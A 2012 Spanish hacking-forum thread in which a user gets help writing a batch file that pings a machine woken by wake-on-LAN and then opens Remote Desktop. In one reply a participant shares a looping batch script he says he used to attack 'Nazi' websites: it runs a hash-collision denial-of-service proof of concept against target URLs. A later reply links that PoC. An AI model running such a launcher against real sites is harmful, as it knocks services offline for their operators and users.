Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: Anonymous250 en 6 Julio 2012, 20:49 pm



Título: [Solucionado]ping a maquina sino responde fail,si responde okay,start process
Publicado por: Anonymous250 en 6 Julio 2012, 20:49 pm
Hola es facilisimo creo ,es algo asi supongo ,que e estado mirando,a ver si lo saco en la tarde o mañana.

Código:
@echo off
set maquina=192.168.1.70
ping -n 1 %maquina% > nul
if errorlevel 1 echo fallo
else okey! & start
C:\WINDOWS\system32\mstsc.exe
exit
La finalidad de este bat,es que uso el wol magic packet sender(es un programa),para levantar un ordenador apagado,y ahi alguna vez que falla,y para no estar mirando a la otra habitacion,hago ping y asi se si esta encendido.
Y puedo controlarlo remotamente con el escritorio remoto de windows ,o bien con poner la ruta de cualquier otro programa tal como el vnc.


Título: Re: bat que haga ping a maquina sino responde fail,si responde okay, y start process
Publicado por: Eleкtro en 6 Julio 2012, 21:55 pm
¿Y la sintaxis?
Código
  1. IF condición (esto) ELSE (aquello)
()

¿"Else okey!"? ¿Que comando es "Okey!"? :P

El comando "Start" no ejecuta nada, El argumento está vacío ya que colocas la ruta en la linea de abajo... No puedes poner las cosas a tu antojo donde quieras, Todo tiene un orden que seguir.

EDITO: Se agradece ver que lo has intentado por ti mismo antes de hacer la pregunta.

La corrección sería esta:
Código
  1. @Echo OFF
  2. set maquina=localhost
  3. ping -n 1 %maquina% > nul
  4. echo fallo
  5. ) else (
  6. Echo okey!
  7. start C:\WINDOWS\system32\mstsc.exe
  8. )


Y lo que te recomiendo que hagas es esto:
Código
  1. @Echo OFF
  2. set maquina=192.168.1.70
  3. Ping -n 1 %MAQUINA% >NUL 2>&1 && Echo Okey. && Start %WINDIR%\system32\mstsc.exe || (Echo Fallo) & Pause & Exit

Un saludo.


Título: Re: bat que haga ping a maquina sino responde fail,si responde okay, y start process
Publicado por: Stakewinner00 en 7 Julio 2012, 00:12 am
Cuelgo ak iun code k utilize para atacar unas webs nazis para dejar el pc encendido y k vaya atacando

Código
  1. @echo off
  2. :a
  3. ping hostname.com -l 1
  4. goto %ERRORLEVEL%
  5. :0
  6. echo ---------------------------------------------------
  7. echo ESTA VIVO
  8. HashtablePOC.py -u http://host.com/?page_id=1037
  9. HashtablePOC.py -u http://host.info/index.php?p=1_13_Spain -v -c 500 -t PHP
  10. -v -c 500 -t PHP
  11.  
  12. :1
  13. echo ---------------------------------------------------
  14. echo ESTA MUERTO
  15. pause>nul


Título: Re: bat que haga ping a maquina sino responde fail,si responde okay, y start process
Publicado por: Eleкtro en 7 Julio 2012, 00:22 am
Cuelgo ak iun code k utilize para atacar unas webs nazis para dejar el pc encendido y k vaya atacando
Es un comentario fuera de lugar, Pero me ha hecho gracia xD, Ya no recordaba lo de las webs nazis xDDD  :P

PD: Faltaría el script de python (HashtablePOC.py) https://github.com/FireFart/HashCollision-DOS-POC/blob/master/HashtablePOC.py

saludos


Título: Re: bat que haga ping a maquina sino responde fail,si responde okay, y start process
Publicado por: Anonymous250 en 7 Julio 2012, 03:53 am
Jaja,sip EleKtro H@cker  me ha hecho gracia tu comentario   :xD,buen sentido del humor
¿"Else okey!"? ¿Que comando es "Okey!"? :P
Digamos que hice un esquema o un croquis,con la sintaxis mal de los comandos,doy fe de ello que los puse mal :laugh:

Muchas gracias a los dos por la ayuda,tomo nota ,y apuntes,  unos cracks  ;) ;D y por la pronta respuesta claro,doy el tema por solucionado.

Gracias y saludos.